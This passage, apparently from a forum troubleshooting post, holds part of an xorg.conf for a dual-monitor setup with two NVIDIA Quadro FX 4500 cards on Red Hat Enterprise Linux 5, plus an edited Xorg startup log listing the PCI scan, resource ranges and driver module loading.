5&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;InputDevice&quot;&#xD;&#xA;        # generated from data in &quot;/etc/sysconfig/keyboard&quot;&#xD;&#xA;        Identifier     &quot;Keyboard0&quot;&#xD;&#xA;        Driver         &quot;kbd&quot;&#xD;&#xA;        Option         &quot;XkbLayout&quot; &quot;us&quot;&#xD;&#xA;        Option         &quot;XkbModel&quot; &quot;pc105&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;        # HorizSync source: edid, VertRefresh source: edid&#xD;&#xA;        Identifier     &quot;Monitor0&quot;&#xD;&#xA;        VendorName     &quot;Unknown&quot;&#xD;&#xA;        ModelName      &quot;DELL 3007WFP&quot;&#xD;&#xA;        HorizSync       49.3 - 98.5&#xD;&#xA;        VertRefresh     60.0&#xD;&#xA;        Option         &quot;DPMS&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Monitor&quot;&#xD;&#xA;        # HorizSync source: edid, VertRefresh source: edid&#xD;&#xA;        Identifier     &quot;Monitor1&quot;&#xD;&#xA;        VendorName     &quot;Unknown&quot;&#xD;&#xA;        ModelName      &quot;DELL 3007WFP&quot;&#xD;&#xA;        HorizSync       49.3 - 98.5&#xD;&#xA;        VertRefresh     60.0&#xD;&#xA;        Option         &quot;DPMS&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;        Identifier     &quot;Device0&quot;&#xD;&#xA;        Driver         &quot;nvidia&quot;&#xD;&#xA;        VendorName     &quot;NVIDIA Corporation&quot;&#xD;&#xA;        BoardName      &quot;Quadro FX 4500&quot;&#xD;&#xA;        BusID          &quot;PCI:10:0:0&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Device&quot;&#xD;&#xA;        Identifier     &quot;Device1&quot;&#xD;&#xA;        Driver         &quot;nvidia&quot;&#xD;&#xA;        VendorName     &quot;NVIDIA Corporation&quot;&#xD;&#xA;        BoardName      &quot;Quadro FX 4500&quot;&#xD;&#xA;        BusID          &quot;PCI:129:0:0&quot;&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;        Identifier     &quot;Screen0&quot;&#xD;&#xA;        Device         &quot;Device0&quot;&#xD;&#xA;        Monitor        &quot;Monitor0&quot;&#xD;&#xA;        DefaultDepth    24&#xD;&#xA;        Option         &quot;TwinView&quot; &quot;0&quot;&#xD;&#xA;        Option         &quot;metamodes&quot; &quot;nvidia-auto-select +0+0&quot;&#xD;&#xA;        SubSection     &quot;Display&quot;&#xD;&#xA;            Depth       24&#xD;&#xA;        EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;    &#xD;&#xA;    Section &quot;Screen&quot;&#xD;&#xA;        Identifier     &quot;Screen1&quot;&#xD;&#xA;        Device         &quot;Device1&quot;&#xD;&#xA;        Monitor        &quot;Monitor1&quot;&#xD;&#xA;        DefaultDepth    24&#xD;&#xA;        Option         &quot;TwinView&quot; &quot;0&quot;&#xD;&#xA;        Option         &quot;metamodes&quot; &quot;nvidia-auto-select +0+0&quot;&#xD;&#xA;        SubSection     &quot;Display&quot;&#xD;&#xA;            Depth       24&#xD;&#xA;        EndSubSection&#xD;&#xA;    EndSection&#xD;&#xA;&#xD;&#xA;Xorg.0.log (edited) is as follows:&#xD;&#xA;&#xD;&#xA;    X Window System Version 7.1.1&#xD;&#xA;    Release Date: 12 May 2006&#xD;&#xA;    X Protocol Version 11, Revision 0, Release 7.1.1&#xD;&#xA;    Build Operating System: Linux 2.6.18-164.11.1.el5 x86_64 Red Hat, Inc.&#xD;&#xA;    Current Operating System: Linux blur.svsdsde 2.6.18-194.el5 #1 SMP Tue Mar 16 21:52:39 EDT 2010 x86_64&#xD;&#xA;    Build Date: 06 March 2010&#xD;&#xA;    Build ID: xorg-x11-server 1.1.1-48.76.el5 &#xD;&#xA;        Before reporting problems, check http://wiki.x.org&#xD;&#xA;        to make sure that you have the latest version.&#xD;&#xA;    Module Loader present&#xD;&#xA;    Markers: (--) probed, (**) from config file, (==) default setting,&#xD;&#xA;        (++) from command line, (!!) notice, (II) informational,&#xD;&#xA;        (WW) warning, (EE) error, (NI) not implemented, (??) unknown.&#xD;&#xA;    (==) Log file: &quot;/var/log/Xorg.0.log&quot;, Time: Fri Feb 18 09:52:08 2011&#xD;&#xA;    (==) Using config file: &quot;/etc/X11/xorg.conf&quot;&#xD;&#xA;    (==) ServerLayout &quot;Layout0&quot;&#xD;&#xA;    (**) |--&gt;Screen &quot;Screen0&quot; (0)&#xD;&#xA;    (**) |   |--&gt;Monitor &quot;Monitor0&quot;&#xD;&#xA;    (**) |   |--&gt;Device &quot;Device0&quot;&#xD;&#xA;    (**) |--&gt;Screen &quot;Screen1&quot; (1)&#xD;&#xA;    (**) |   |--&gt;Monitor &quot;Monitor1&quot;&#xD;&#xA;    (**) |   |--&gt;Device &quot;Device1&quot;&#xD;&#xA;    (**) |--&gt;Input Device &quot;Keyboard0&quot;&#xD;&#xA;    (**) |--&gt;Input Device &quot;Mouse0&quot;&#xD;&#xA;    (**) FontPath set to:&#xD;&#xA;        unix/:7100&#xD;&#xA;    (==) RgbPath set to &quot;/usr/share/X11/rgb&quot;&#xD;&#xA;    (==) ModulePath set to &quot;/usr/lib64/xorg/modules&quot;&#xD;&#xA;    (**) Option &quot;Xinerama&quot; &quot;1&quot;&#xD;&#xA;    (**) Xinerama: enabled&#xD;&#xA;    (==) Max clients allowed: 512, resource mask: 0xfffff&#xD;&#xA;    (II) Open ACPI successful (/var/run/acpid.socket)&#xD;&#xA;    (II) Module ABI versions:&#xD;&#xA;        X.Org ANSI C Emulation: 0.3&#xD;&#xA;        X.Org Video Driver: 1.0&#xD;&#xA;        X.Org XInput driver : 0.6&#xD;&#xA;        X.Org Server Extension : 0.3&#xD;&#xA;        X.Org Font Renderer : 0.5&#xD;&#xA;    (II) Loader running on linux&#xD;&#xA;    (II) LoadModule: &quot;bitmap&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/fonts/libbitmap.so&#xD;&#xA;    (II) Module bitmap: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.0&#xD;&#xA;        Module class: X.Org Font Renderer&#xD;&#xA;        ABI class: X.Org Font Renderer, version 0.5&#xD;&#xA;    (II) Loading font Bitmap&#xD;&#xA;    (II) LoadModule: &quot;pcidata&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/libpcidata.so&#xD;&#xA;    (II) Module pcidata: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.0&#xD;&#xA;        ABI class: X.Org Video Driver, version 1.0&#xD;&#xA;    (++) using VT number 7&#xD;&#xA;    &#xD;&#xA;    (II) PCI: PCI scan (all values are in hex)&#xD;&#xA;    (II) PCI: 00:00:0: chip 10de,005e card 103c,1500 rev a3 class 05,80,00 hdr 00&#xD;&#xA;    (II) PCI: 00:01:0: chip 10de,0051 card 103c,1500 rev a3 class 06,01,00 hdr 80&#xD;&#xA;    (II) PCI: 00:01:1: chip 10de,0052 card 103c,1500 rev a2 class 0c,05,00 hdr 80&#xD;&#xA;    (II) PCI: 00:02:0: chip 10de,005a card 103c,1500 rev a2 class 0c,03,10 hdr 80&#xD;&#xA;    (II) PCI: 00:02:1: chip 10de,005b card 103c,1500 rev a3 class 0c,03,20 hdr 80&#xD;&#xA;    (II) PCI: 00:04:0: chip 10de,0059 card 103c,1500 rev a2 class 04,01,00 hdr 00&#xD;&#xA;    (II) PCI: 00:06:0: chip 10de,0053 card 103c,1500 rev f2 class 01,01,8a hdr 00&#xD;&#xA;    (II) PCI: 00:07:0: chip 10de,0054 card 103c,1500 rev f3 class 01,01,85 hdr 00&#xD;&#xA;    (II) PCI: 00:08:0: chip 10de,0055 card 103c,1500 rev f3 class 01,01,85 hdr 00&#xD;&#xA;    (II) PCI: 00:09:0: chip 10de,005c card 0000,0000 rev a2 class 06,04,01 hdr 01&#xD;&#xA;    (II) PCI: 00:0a:0: chip 10de,0057 card 103c,1500 rev a3 class 06,80,00 hdr 00&#xD;&#xA;    (II) PCI: 00:0e:0: chip 10de,005d card 0000,0000 rev a3 class 06,04,00 hdr 01&#xD;&#xA;    (II) PCI: 00:18:0: chip 1022,1100 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 00:18:1: chip 1022,1101 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 00:18:2: chip 1022,1102 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 00:18:3: chip 1022,1103 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 00:19:0: chip 1022,1100 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 00:19:1: chip 1022,1101 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 00:19:2: chip 1022,1102 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 00:19:3: chip 1022,1103 card 0000,0000 rev 00 class 06,00,00 hdr 80&#xD;&#xA;    (II) PCI: 05:05:0: chip 104c,8023 card 103c,1500 rev 00 class 0c,00,10 hdr 00&#xD;&#xA;    (II) PCI: 0a:00:0: chip 10de,009d card 10de,02af rev a1 class 03,00,00 hdr 00&#xD;&#xA;    (II) PCI: End of PCI scan&#xD;&#xA;    (II) PCI-to-ISA bridge:&#xD;&#xA;    (II) Bus -1: bridge is at (0:1:0), (0,-1,-1), BCTRL: 0x0008 (VGA_EN is set)&#xD;&#xA;    (II) Subtractive PCI-to-PCI bridge:&#xD;&#xA;    (II) Bus 5: bridge is at (0:9:0), (0,5,5), BCTRL: 0x0206 (VGA_EN is cleared)&#xD;&#xA;    (II) Bus 5 non-prefetchable memory range:&#xD;&#xA;        [0] -1  0   0xf5000000 - 0xf50fffff (0x100000) MX[B]&#xD;&#xA;    (II) PCI-to-PCI bridge:&#xD;&#xA;    (II) Bus 10: bridge is at (0:14:0), (0,10,10), BCTRL: 0x000a (VGA_EN is set)&#xD;&#xA;    (II) Bus 10 I/O range:&#xD;&#xA;        [0] -1  0   0x00003000 - 0x00003fff (0x1000) IX[B]&#xD;&#xA;    (II) Bus 10 non-prefetchable memory range:&#xD;&#xA;        [0] -1  0   0xf3000000 - 0xf4ffffff (0x2000000) MX[B]&#xD;&#xA;    (II) Bus 10 prefetchable memory range:&#xD;&#xA;        [0] -1  0   0xc0000000 - 0xcfffffff (0x10000000) MX[B]&#xD;&#xA;    (II) Host-to-PCI bridge:&#xD;&#xA;    (II) Bus 0: bridge is at (0:24:0), (0,0,10), BCTRL: 0x0008 (VGA_EN is set)&#xD;&#xA;    (II) Bus 0 I/O range:&#xD;&#xA;        [0] -1  0   0x00000000 - 0x0000ffff (0x10000) IX[B]&#xD;&#xA;    (II) Bus 0 non-prefetchable memory range:&#xD;&#xA;        [0] -1  0   0x00000000 - 0xffffffff (0x100000000) MX[B]&#xD;&#xA;    (II) Bus 0 prefetchable memory range:&#xD;&#xA;        [0] -1  0   0x00000000 - 0xffffffff (0x100000000) MX[B]&#xD;&#xA;    (--) PCI:*(10:0:0) nVidia Corporation Quadro FX 4500 rev 161, Mem @ 0xf3000000/24, 0xc0000000/28, 0xf4000000/24, I/O @ 0x3000/7&#xD;&#xA;    (II) Addressable bus resource ranges are&#xD;&#xA;        [0] -1  0   0x00000000 - 0xffffffff (0x100000000) MX[B]&#xD;&#xA;        [1] -1  0   0x00000000 - 0x0000ffff (0x10000) IX[B]&#xD;&#xA;    (II) OS-reported resource ranges:&#xD;&#xA;        [0] -1  0   0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)&#xD;&#xA;        [1] -1  0   0x000f0000 - 0x000fffff (0x10000) MX[B]&#xD;&#xA;        [2] -1  0   0x000c0000 - 0x000effff (0x30000) MX[B]&#xD;&#xA;        [3] -1  0   0x00000000 - 0x0009ffff (0xa0000) MX[B]&#xD;&#xA;        [4] -1  0   0x0000ffff - 0x0000ffff (0x1) IX[B]&#xD;&#xA;        [5] -1  0   0x00000000 - 0x000000ff (0x100) IX[B]&#xD;&#xA;    (II) Active PCI resource ranges:&#xD;&#xA;        [0] -1  0   0xf5000000 - 0xf5003fff (0x4000) MX[B]&#xD;&#xA;        [1] -1  0   0xf5004000 - 0xf50047ff (0x800) MX[B]&#xD;&#xA;    &#xD;&#xA;    [...snipped... post too long]&#xD;&#xA;    &#xD;&#xA;        [28] -1 0   0x0000fb00 - 0x0000fbff (0x100) IX[B]&#xD;&#xA;        [29] -1 0   0x00003000 - 0x0000307f (0x80) IX[B](B)&#xD;&#xA;    (II) Active PCI resource ranges after removing overlaps:&#xD;&#xA;        [0] -1  0   0xf5000000 - 0xf5003fff (0x4000) MX[B]&#xD;&#xA;        [1] -1  0   0xf5004000 - 0xf50047ff (0x800) MX[B]&#xD;&#xA;    &#xD;&#xA;    [...snipped... post too long]&#xD;&#xA;    &#xD;&#xA;        [28] -1 0   0x0000fb00 - 0x0000fbff (0x100) IX[B]&#xD;&#xA;        [29] -1 0   0x00003000 - 0x0000307f (0x80) IX[B](B)&#xD;&#xA;    (II) OS-reported resource ranges after removing overlaps with PCI:&#xD;&#xA;        [0] -1  0   0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)&#xD;&#xA;        [1] -1  0   0x000f0000 - 0x000fffff (0x10000) MX[B]&#xD;&#xA;        [2] -1  0   0x000c0000 - 0x000effff (0x30000) MX[B]&#xD;&#xA;        [3] -1  0   0x00000000 - 0x0009ffff (0xa0000) MX[B]&#xD;&#xA;        [4] -1  0   0x0000ffff - 0x0000ffff (0x1) IX[B]&#xD;&#xA;        [5] -1  0   0x00000000 - 0x000000ff (0x100) IX[B]&#xD;&#xA;    (II) All system resource ranges:&#xD;&#xA;        [0] -1  0   0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)&#xD;&#xA;        [1] -1  0   0x000f0000 - 0x000fffff (0x10000) MX[B]&#xD;&#xA;&#xD;&#xA;    (...snipped...)&#xD;&#xA;&#xD;&#xA;        [31] -1 0   0x00004840 - 0x0000487f (0x40) IX[B]&#xD;&#xA;        [32] -1 0   0x00004800 - 0x0000483f (0x40) IX[B]&#xD;&#xA;        [33] -1 0   0x00004880 - 0x0000489f (0x20) IX[B]&#xD;&#xA;        [34] -1 0   0x0000fb00 - 0x0000fbff (0x100) IX[B]&#xD;&#xA;        [35] -1 0   0x00003000 - 0x0000307f (0x80) IX[B](B)&#xD;&#xA;    (II) LoadModule: &quot;extmod&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/extensions/libextmod.so&#xD;&#xA;    (II) Module extmod: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.0&#xD;&#xA;        Module class: X.Org Server Extension&#xD;&#xA;        ABI class: X.Org Server Extension, version 0.3&#xD;&#xA;    (II) Loading extension SHAPE&#xD;&#xA;    (II) Loading extension MIT-SUNDRY-NONSTANDARD&#xD;&#xA;    (II) Loading extension BIG-REQUESTS&#xD;&#xA;    (II) Loading extension SYNC&#xD;&#xA;    (II) Loading extension MIT-SCREEN-SAVER&#xD;&#xA;    (II) Loading extension XC-MISC&#xD;&#xA;    (II) Loading extension XFree86-VidModeExtension&#xD;&#xA;    (II) Loading extension XFree86-Misc&#xD;&#xA;    (II) Loading extension XFree86-DGA&#xD;&#xA;    (II) Loading extension DPMS&#xD;&#xA;    (II) Loading extension TOG-CUP&#xD;&#xA;    (II) Loading extension Extended-Visual-Information&#xD;&#xA;    (II) Loading extension XVideo&#xD;&#xA;    (II) Loading extension XVideo-MotionCompensation&#xD;&#xA;    (II) Loading extension X-Resource&#xD;&#xA;    (II) LoadModule: &quot;dbe&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/extensions/libdbe.so&#xD;&#xA;    (II) Module dbe: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.0&#xD;&#xA;        Module class: X.Org Server Extension&#xD;&#xA;        ABI class: X.Org Server Extension, version 0.3&#xD;&#xA;    (II) Loading extension DOUBLE-BUFFER&#xD;&#xA;    (II) LoadModule: &quot;glx&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/extensions/libglx.so&#xD;&#xA;    (II) Module glx: vendor=&quot;NVIDIA Corporation&quot;&#xD;&#xA;        compiled for 4.0.2, module version = 1.0.0&#xD;&#xA;        Module class: X.Org Server Extension&#xD;&#xA;    (II) NVIDIA GLX Module  185.18.36  Fri Aug 14 18:27:24 PDT 2009&#xD;&#xA;    (II) Loading extension GLX&#xD;&#xA;    (II) LoadModule: &quot;freetype&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/fonts/libfreetype.so&#xD;&#xA;    (II) Module freetype: vendor=&quot;X.Org Foundation &amp; the After X-TT Project&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 2.1.0&#xD;&#xA;        Module class: X.Org Font Renderer&#xD;&#xA;        ABI class: X.Org Font Renderer, version 0.5&#xD;&#xA;    (II) Loading font FreeType&#xD;&#xA;    (II) LoadModule: &quot;type1&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/fonts/libtype1.so&#xD;&#xA;    (II) Module type1: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.2&#xD;&#xA;        Module class: X.Org Font Renderer&#xD;&#xA;        ABI class: X.Org Font Renderer, version 0.5&#xD;&#xA;    (II) Loading font Type1&#xD;&#xA;    (II) LoadModule: &quot;record&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/extensions/librecord.so&#xD;&#xA;    (II) Module record: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.13.0&#xD;&#xA;        Module class: X.Org Server Extension&#xD;&#xA;        ABI class: X.Org Server Extension, version 0.3&#xD;&#xA;    (II) Loading extension RECORD&#xD;&#xA;    (II) LoadModule: &quot;dri&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/extensions/libdri.so&#xD;&#xA;    (II) Module dri: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.0&#xD;&#xA;        ABI class: X.Org Server Extension, version 0.3&#xD;&#xA;    (II) Loading sub module &quot;drm&quot;&#xD;&#xA;    (II) LoadModule: &quot;drm&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/linux/libdrm.so&#xD;&#xA;    (II) Module drm: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.0&#xD;&#xA;        ABI class: X.Org Server Extension, version 0.3&#xD;&#xA;    (II) Loading extension XFree86-DRI&#xD;&#xA;    (II) LoadModule: &quot;nvidia&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/drivers/nvidia_drv.so&#xD;&#xA;    (II) Module nvidia: vendor=&quot;NVIDIA Corporation&quot;&#xD;&#xA;        compiled for 4.0.2, module version = 1.0.0&#xD;&#xA;        Module class: X.Org Video Driver&#xD;&#xA;    (II) LoadModule: &quot;kbd&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/input/kbd_drv.so&#xD;&#xA;    (II) Module kbd: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.1.0&#xD;&#xA;        Module class: X.Org XInput Driver&#xD;&#xA;        ABI class: X.Org XInput driver, version 0.6&#xD;&#xA;    (II) LoadModule: &quot;mouse&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/input/mouse_drv.so&#xD;&#xA;    (II) Module mouse: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.1.1&#xD;&#xA;        Module class: X.Org XInput Driver&#xD;&#xA;        ABI class: X.Org XInput driver, version 0.6&#xD;&#xA;    (II) NVIDIA dlloader X Driver  185.18.36  Fri Aug 14 17:51:02 PDT 2009&#xD;&#xA;    (II) NVIDIA Unified Driver for all Supported NVIDIA GPUs&#xD;&#xA;    (II) Primary Device is: PCI 0a:00:0&#xD;&#xA;    (--) Chipset NVIDIA GPU found&#xD;&#xA;    (II) Loading sub module &quot;fb&quot;&#xD;&#xA;    (II) LoadModule: &quot;fb&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/libfb.so&#xD;&#xA;    (II) Module fb: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 1.0.0&#xD;&#xA;        ABI class: X.Org ANSI C Emulation, version 0.3&#xD;&#xA;    (II) Loading sub module &quot;wfb&quot;&#xD;&#xA;    (II) LoadModule: &quot;wfb&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/libwfb.so&#xD;&#xA;    (II) Module wfb: vendor=&quot;NVIDIA Corporation&quot;&#xD;&#xA;        compiled for 7.1.99.2, module version = 1.0.0&#xD;&#xA;    (II) Loading sub module &quot;ramdac&quot;&#xD;&#xA;    (II) LoadModule: &quot;ramdac&quot;&#xD;&#xA;    (II) Loading /usr/lib64/xorg/modules/libramdac.so&#xD;&#xA;    (II) Module ramdac: vendor=&quot;X.Org Foundation&quot;&#xD;&#xA;        compiled for 7.1.1, module version = 0.1.0&#xD;&#xA;        ABI class: X.Org Video Driver, version 1.0&#xD;&#xA;    (II) resource ranges after xf86ClaimFixedResources() call:&#xD;&#xA;        [0] -1  0   0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)&#xD;&#xA;        [1] -1  0   0x000f0000 - 0x000fffff (0x10000) MX[B]&#xD;&#xA;        [2] -1  0   0x000c0000 - 0x000effff (0x30000) MX[B]&#xD;&#xA;        [3] -1  0   0x00000000 - 0x0009ffff (0xa0000) MX[B]&#xD;&#xA;        [4] -1  0   0xf5000000 - 0xf5003fff (0x4000) MX[B]&#xD;&#xA;        [5] -1  0   0xf5004000 - 0xf50047ff (0x800) MX[B]&#xD;&#xA;        [6] -1  0   0xf5104000 - 0xf5104fff (0x1000) MX[B]&#xD;&#xA;        [7] -1  0   0xf5103000 - 0xf5103fff (0x1000) MX[B]&#xD;&#xA;        [8] -1  0   0xf5102000 - 0xf5102fff (0x1000) MX[B]&#xD;&#xA;        [9] -1  0   0xf5101000 - 0xf5101fff (0x1000) MX[B]&#xD;&#xA;        [10] -1 0   0xfebf0000 - 0xfebf00ff (0x100) MX[B]&#xD;&#xA;        [11] -1 0   0xf5100000 - 0xf5100fff (0x1000) MX[B]&#xD;&#xA;        [12] -1 0   0xf4000000 - 0xf4ffffff (0x1000000) MX[B](B)&#xD;&#xA;        [13] -1 0   0xc0000000 - 0xcfffffff (0x10000000) MX[B](B)&#xD;&#xA;        [14] -1 0   0xf3000000 - 0xf3ffffff (0x1000000) MX[B](B)&#xD;&#xA;        [15] -1 0   0x0000ffff - 0x0000ffff (0x1) IX[B]&#xD;&#xA;        [16] -1 0   0x00000000 - 0x000000ff (0x100) IX[B]&#xD;&#xA;        [17] -1 0   0x000048f0 - 0x000048f7 (0x8) IX[B]&#xD;&#xA;        [18] -1 0   0x000048c0 - 0x000048cf (0x10) IX[B]&#xD;&#xA;        [19] -1 0   0x00004c04 - 0x00004c07 (0x4) IX[B]&#xD;&#xA;        [20] -1 0   0x000048e8 - 0x000048ef (0x8) IX[B]&#xD;&#xA;        [21] -1 0   0x00004c00 - 0x00004c03 (0x4) IX[B]&#xD;&#xA;        [22] -1 0   0x000048e0 - 0x000048e7 (0x8) IX[B]&#xD;&#xA;        [23] -1 0   0x000048b0 - 0x000048bf (0x10) IX[B]&#xD;&#xA;        [24] -1 0   0x000048fc - 0x000048ff (0x4) IX[B]&#xD;&#xA;        [25] -1 0   0x000048d8 - 0x000048df (0x8) IX[B]&#xD;&#xA;        [26] -1 0   0x000048f8 - 0x000048fb (0x4) IX[B]&#xD;&#xA;        [27] -1 0   0x000048d0 - 0x000048d7 (0x8) IX[B]&#xD;&#xA;        [28] -1 0   0x000048a0 - 0x000048af (0x10) IX[B]&#xD;&#xA;        [29] -1 0   0x00004400 - 0x000044ff (0x100) IX[B]&#xD;&#xA;        [30] -1 0   0x00004000 - 0x000040ff (0x100) IX[B]&#xD;&#xA;        [31] -1 0   0x00004840 - 0x0000487f (0x40) IX[B]&#xD;&#xA;        [32] -1 0   0x00004800 - 0x0000483f (0x40) IX[B]&#xD;&#xA;        [33] -1 0   0x00004880 - 0x0000489f (0x20) IX[B]&#xD;&#xA;        [34] -1 0   0x0000fb00 - 0x0000fbff (0x100) IX[B]&#xD;&#xA;        [35] -1 0   0x00003000 - 0x0000307f (0x80) IX[B](B)&#xD;&#xA;    (II) resource ranges after probing:&#xD;&#xA;        [0] -1  0   0x00100000 - 0x3fffffff (0x3ff00000) MX[B]E(B)&#xD;&#xA;        [1] -1  0   0x000f0000 - 0x000fffff (0x10000) MX[B]&#xD;&#xA;        [2] -1  0   0x000c0000 - 0x000effff (0x30000) MX[B]&#xD;&#xA;        [3] -1  0   0x00000000 - 0x0009ffff (0xa0000) MX[B]&#xD;&#xA;        [4] -1  0   0xf5000000 - 0xf5003fff (0x4000) MX[B]&#xD;&#xA;        [5] -1  0   0xf5004000 - 0xf50047ff (0x800) MX[B]&#xD;&#xA;        [6] -1  0   0xf5104000 - 0xf5104fff (0x1000) MX[B]&#xD;&#xA;        [7] -1  0   0xf5103000 - 0xf5103fff (0x1000) MX[B]&#xD;&#xA;        [8] -1  0   0xf5102000 - 0xf5102fff (0x1000) MX[B]&#xD;&#xA;        [9] -1  0   0xf5101000 - 0xf5101fff (0x1000) MX[B]&#xD;&#xA;        [10] -1 0   0xfebf0000 - 0xfebf00ff (0x100) MX[B]&#xD;&#xA;        [11] -1 0   0xf5100000 - 0xf5100fff (0x1000) MX[B]&#xD;&#xA;        [12] -1 0   0xf4000000 - 0xf4ffffff (0x1000000) MX[B](B)&#xD;&#xA;        [13] -1 0   0xc0000000 - 0xcfffffff (0x10000000) MX[B](B)&#xD;&#xA;        [14] -1 0   0xf3000000 - 0xf3ffffff (0x1000000) MX[B](B)&#xD;&#xA;        [15] 0  0   0x000a0000 - 0x000affff (0x10000) MS[B]&#xD;&#xA;        [16] 0  0   0x000b0000 - 0x000b7fff (0x8000) MS[B]&#xD;&#xA;        [17] 0  0   0x000b8000 - 0x000bffff (0x8000) MS[B]&#xD;&#xA;        [18] -1 0   0x0000ffff - 0x0000ffff (0x1) IX[B]&#xD;&#xA;        [19] -1 0   0x00000000 - 0x000000ff (0x100) IX[B]&#xD;&#xA;        [20] -1 0   0x000048f0 - 0x000048f7 (0x8) IX[B]&#xD;&#xA;        [21] -1 0   0x000048c0 - 0x000048cf (0x10) IX[B]&#xD;&#xA;        [22] -1 0   0x00004c04 - 0x00004c07 (0x4) IX[B]&#xD;&#xA;        [23] -1 0   0x000048e8 - 0x000048ef (0x8) IX[B]&#xD;&#xA;        [24] -1 0   0x00004c00 - 0x00004c03 (0x4) IX[B]&#xD;&#xA;        [25] -1 0   0x000048e0 - 0x000048e7 (0x8) IX[B]&#xD;&#xA;        [26] -1 0   0x000048b0 - 0x000048bf (0x10) IX[B]&#xD;&#xA;        [27] -1 0   0x000048fc - 0x000048ff (0x4) IX[B]&#xD;&#xA;        [28] -1 0   0x000048d8 - 0x000048df (0x8) IX[B]&#xD;&#xA;        [29] -1 0   0x000048f8 - 0x000048fb (0x4) IX[B]&#xD;&#xA;        [30] -1 0   0x000048d0 - 0x000048d7 (0x8) IX[B]&#xD;&#xA;        [31] -1 0   0x000048a0 - 0x000048af (0x10) IX[B]&#xD;&#xA;        [32] -1 0   0x00004400 - 0x000044ff (0x100) IX[B]&#xD;&#xA;        [33] -1 0   0x00004000 - 0x000040ff (0x100) IX[B]&#xD;&#xA;        [34] -1 0   0x00004840 - 0x0000487f (0x40) IX[B]&#xD;&#xA;        [35] -1 0   0x00004800 - 0x0000483f (0x40) IX[B]&#xD;&#xA;        [36] -1 0   0x00004880 - 0x0000489f (0x20) IX[B]&#xD;&#xA;        [37] -1 0   0x0000fb00 - 0x0000fbff (0x100) IX[B]&#xD;&#xA;        [38] -1 0   0x00003000 - 0x0000307f (0x80) IX[B](B)&#xD;&#xA;        [39] 0  0   0x000003b0 - 0x000003bb (0xc) IS[B]&#xD;&#xA;        [40] 0  0   0x000003c0 - 0x000003df (0x20) IS[B]&#xD;&#xA;    (II) Setting vga for screen 0.&#xD;&#xA;    (**) NVIDIA(0): Depth 24, (--) framebuffer bpp 32&#xD;&#xA;    (==) NVIDIA(0): RGB weight 888&#xD;&#xA;    (==) NVIDIA(0): Default visual is TrueColor&#xD;&#xA;    (==) NVIDIA(0): Using gamma correction (1.0, 1.0, 1.0)&#xD;&#xA;    (**) NVIDIA(0): Option &quot;TwinView&quot; &quot;0&quot;&#xD;&#xA;    (**) NVIDIA(0): Option &quot;MetaModes&quot; &quot;nvidia-auto-select +0+0&quot;&#xD;&#xA;    (**) NVIDIA(0): Enabling RENDER acceleration&#xD;&#xA;    (II) NVIDIA(0): Support for GLX with the Damage and Composite X extensions is&#xD;&#xA;    (II) NVIDIA(0):     enabled.&#xD;&#xA;    (II) NVIDIA(0): NVIDIA GPU Quadro FX 4500 (G70GL) at PCI:10:0:0 (GPU-0)&#xD;&#xA;    (--) NVIDIA(0): Memory: 524288 kBytes&#xD;&#xA;    (--) NVIDIA(0): VideoBIOS: 